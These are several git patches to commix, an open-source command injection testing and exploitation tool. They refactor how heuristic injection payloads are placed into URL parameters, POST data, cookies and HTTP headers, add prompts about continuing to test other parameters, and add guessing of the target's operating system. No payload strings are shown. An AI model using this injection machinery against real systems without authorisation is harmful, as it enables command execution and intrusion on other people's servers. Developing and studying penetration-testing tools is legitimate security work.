= "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1209,8 +1209,8 @@ class AUTH_TYPE(object): TARGET_URL = "" DOC_ROOT_TARGET_MARK = "%TARGET%" -WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/usr/share/nginx", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot\\", "C:\\\\Inetpub\\wwwroot\\", "C:\\\\xampp\\htdocs\\", "C:\\\\wamp\\www\\"] +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", "/var/www/" + DOC_ROOT_TARGET_MARK + "/", "/usr/local/apache2/htdocs/", "/usr/local/www/data/", "/usr/share/nginx/", "/var/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/htdocs/"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False From ec06c5de6f2e34ca2a40d7cd94f2517d5ad56311 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 May 2024 09:37:59 +0300 Subject: [PATCH 444/560] Minor code refactoring regarding heuristic (basic) tests --- src/core/injections/controller/controller.py | 103 +++++++------------ src/utils/settings.py | 2 +- 2 files changed, 37 insertions(+), 68 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bd5c4b3683..3463731cec 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -71,6 +71,40 @@ def check_for_stored_levels(url, http_request_method): if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL +""" +Heuristic request(s) +""" +def heuristic_request(url, http_request_method, check_parameter, payload): + data = None + cookie = None + tmp_url = url + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) + if cookie: + request.add_header(settings.COOKIE, cookie) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + return response + """ Heuristic (basic) tests for command injection """ @@ -87,40 +121,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in basic_payloads: _ = _ + 1 - - # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - # payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) - request = _urllib.request.Request(tmp_url, data, method=http_request_method) - if cookie: - request.add_header(settings.COOKIE, cookie) - if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) - else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - + response = heuristic_request(url, http_request_method, check_parameter, payload) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -150,39 +151,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - # payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) - request = _urllib.request.Request(tmp_url, data, method=http_request_method) - if cookie: - request.add_header(settings.COOKIE, cookie) - if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) - else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - + response = heuristic_request(url, http_request_method, check_parameter, payload) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index abc93e5c81..4ea293ca10 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 23007c5ef209beb13eefb6e8289e5e82f9d0d4cd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 May 2024 09:32:32 +0300 Subject: [PATCH 445/560] Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable.. Ref: https://github.com/commixproject/commix/issues/905 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 83 ++++++++++--------- src/core/injections/controller/controller.py | 17 ++-- .../injections/controller/shell_options.py | 5 +- src/core/modules/shellshock/shellshock.py | 4 +- src/utils/settings.py | 2 +- 6 files changed, 61 insertions(+), 51 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a79971c481..4130cbb6d7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1e60d1a0da..f523d26100 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -197,48 +197,49 @@ def skipping_technique(technique, injection_type, state): print(settings.print_debug_msg(debug_msg)) """ -Skipping of code injection tests. +Skipping of further tests. """ -def skip_code_injection_tests(): - while True: - message = "Skipping of code injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass +def keep_testing_others(filename, url): + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ Skipping of further command injection tests. """ -def skip_command_injection_tests(): - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - _ = "" +def skip_testing(filename, url): + if len(menu.options.tech) == 1: + settings.SKIP_COMMAND_INJECTIONS = True else: - _ = "further " - while True: - message = "Skipping of "+ _ +"command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + _ = " testing command injection techniques" else: - common.invalid_option(procced_option) - pass + _ = " further testing" + while True: + message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + settings.SKIP_COMMAND_INJECTIONS = False + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ The available mobile user agents. @@ -289,6 +290,14 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET return http_request_method +def quit(filename, url, _): + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + if _: + raise exit() + else: + raise SystemExit() + """ User aborted procedure """ @@ -297,9 +306,7 @@ def user_aborted(filename, url): abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) - logs.print_logs_notification(filename, url) - common.show_http_error_codes() - raise exit() + quit(filename, url, _=True) """ Connection exceptions diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3463731cec..bf9ecfb968 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,8 +41,8 @@ """ def basic_level_checks(): - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False + settings.SKIP_CODE_INJECTIONS = None + settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False @@ -187,7 +187,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if (len(menu.options.tech) == 0 or "c" in menu.options.tech): if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False if settings.CLASSIC_STATE == None: @@ -205,7 +205,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.EVAL_BASED_STATE = True if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False if settings.EVAL_BASED_STATE == None: @@ -222,7 +222,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if (len(menu.options.tech) == 0 or "t" in menu.options.tech): if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False if settings.TIME_BASED_STATE == None: @@ -259,6 +259,7 @@ def check_parameter_in_http_header(check_parameter): """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if settings.PERFORM_BASIC_SCANS: + checks.keep_testing_others(filename, url) basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) @@ -291,7 +292,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -313,7 +314,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: settings.HEURISTIC_TEST.POSITIVE = False @@ -459,6 +460,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = True # Cookie Injection @@ -628,6 +630,7 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = None settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 76bf9d76b7..3bb02b5ad4 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -179,10 +179,9 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again - # The "quit" option + # The "quit" / "exit" options elif os_shell_option == "quit" or os_shell_option == "exit": - logs.print_logs_notification(filename, url) - raise SystemExit() + checks.quit(filename, url, _ = True) else: return go_back, go_back_again diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 77f805a936..652ad70ff1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -264,9 +264,9 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - # The "quit" option + # The "quit" / "exit" options elif os_shell_option == "quit" or os_shell_option == "exit": - raise SystemExit() + checks.quit(filename, url, _ = True) """ The main shellshock handler diff --git a/src/utils/settings.py b/src/utils/settings.py index 4ea293ca10..2ab11961e0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fcda87fadb66ef52ba92f0f4344cac9f8d786449 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 May 2024 09:18:47 +0300 Subject: [PATCH 446/560] Minor improvement regarding determining (passively) the target's underlying operating system. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 77 +++++-- src/core/injections/controller/controller.py | 205 +++++++++-------- src/core/main.py | 18 +- src/core/requests/requests.py | 229 +++++++------------ src/utils/settings.py | 9 +- 6 files changed, 267 insertions(+), 272 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4130cbb6d7..9376fee450 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f523d26100..58ccb214ee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1010,7 +1010,7 @@ def check_http_s(url): return url """ -Force the user-defined operating system name. +Force the user-defined operating system. """ def user_defined_os(): if menu.options.os: @@ -1020,31 +1020,62 @@ def user_defined_os(): elif menu.options.os.lower() == "unix": return True else: - err_msg = "You specified wrong value '" + menu.options.os + "' " - err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'." + err_msg = "You defined wrong value '" + menu.options.os + "' " + err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." print(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Define the target operating system. +""" +def define_target_os(): + # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. + if menu.options.shellshock: + return + else: + while True: + message = "Do you recognise the server's underlying operating system? " + message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > " + got_os = common.read_input(message, default="N", check_batch=True) + if got_os.lower() in settings.CHOICE_OS : + if got_os.lower() == "u": + return + elif got_os.lower() == "w": + settings.TARGET_OS = settings.OS.WINDOWS + return + elif got_os.lower() == "n": + settings.CHECK_BOTH_OS = True + + return + elif got_os.lower() == "q": + raise SystemExit() + else: + common.invalid_option(got_os) + pass + """ Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + if settings.IGNORE_IDENTIFIED_OS == None: + warn_msg = "Identified different operating system (i.e. '" + warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." + print(settings.print_bold_warning_msg(warn_msg)) + message = "How do you want to proceed? [(c)ontinue/(S)kip/(q)uit] > " + proceed_option = common.read_input(message, default="S", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + settings.IGNORE_IDENTIFIED_OS = True + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "s": + settings.IGNORE_IDENTIFIED_OS = False + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass """ Checking all required third-party library dependencies. @@ -1099,7 +1130,7 @@ def http_auth_err_msg(): is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg = "Identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." print(settings.print_warning_msg(warn_msg)) @@ -1900,7 +1931,7 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " + warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False @@ -1921,7 +1952,7 @@ def print_hostname(shell, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to identify the hostname." + warn_msg = "Failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) """ @@ -1939,7 +1970,7 @@ def print_current_user(cu_account, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to fetch the current user." + warn_msg = "Failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) """ @@ -1976,7 +2007,7 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." + warn_msg = "Failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bf9ecfb968..7d101666e6 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -127,8 +127,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True + possible_os = ('Unix-like', 'Windows')[_ != 1] + if settings.OS.UNIX.lower() in possible_os.lower(): + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -258,108 +263,118 @@ def check_parameter_in_http_header(check_parameter): Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): - if settings.PERFORM_BASIC_SCANS: - checks.keep_testing_others(filename, url) - basic_level_checks() + for i in range(0,int(settings.OS_CHECKS_NUM)): + if settings.CHECK_BOTH_OS: + if i == 0: + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS - inject_http_headers = check_parameter_in_http_header(check_parameter) - - # User-Agent/Referer/Host/Custom HTTP header Injection(s) - if check_parameter.startswith(settings.SINGLE_WHITESPACE): - header_name = "" - the_type = "HTTP header" - inject_parameter = " '" + check_parameter.strip() + "'" - else: - if settings.COOKIE_INJECTION: - header_name = settings.COOKIE - else: + if settings.PERFORM_BASIC_SCANS: + checks.keep_testing_others(filename, url) + basic_level_checks() + + inject_http_headers = check_parameter_in_http_header(check_parameter) + + # User-Agent/Referer/Host/Custom HTTP header Injection(s) + if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" - the_type = " parameter" - inject_parameter = " '" + check_parameter + "'" - - # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) - - # Load modules - modules_handler.load_modules(url, http_request_method, filename) - checks.tamper_scripts(stored_tamper_scripts=False) - - settings.CHECKING_PARAMETER = "" - if not header_name == settings.COOKIE and not the_type == "HTTP header": - settings.CHECKING_PARAMETER = checks.check_http_method(url) - settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] - if header_name == settings.COOKIE : - settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) - else: - settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - - info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - print(settings.print_info_msg(info_msg)) - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) - else: - if not settings.LOAD_SESSION: - checks.recognise_payload(payload=settings.TESTABLE_VALUE) + the_type = "HTTP header" + inject_parameter = " '" + check_parameter.strip() + "'" + else: + if settings.COOKIE_INJECTION: + header_name = settings.COOKIE + else: + header_name = "" + the_type = " parameter" + inject_parameter = " '" + check_parameter + "'" + + # Estimating the response time (in seconds) + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + + # Load modules + modules_handler.load_modules(url, http_request_method, filename) + checks.tamper_scripts(stored_tamper_scripts=False) + + settings.CHECKING_PARAMETER = "" + if not header_name == settings.COOKIE and not the_type == "HTTP header": + settings.CHECKING_PARAMETER = checks.check_http_method(url) + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] + if header_name == settings.COOKIE : + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) + else: + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + print(settings.print_info_msg(info_msg)) + + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) + else: + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + print(settings.print_debug_msg(debug_msg)) + + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + checks.skip_testing(filename, url) + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + settings.HEURISTIC_TEST.POSITIVE = False + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and 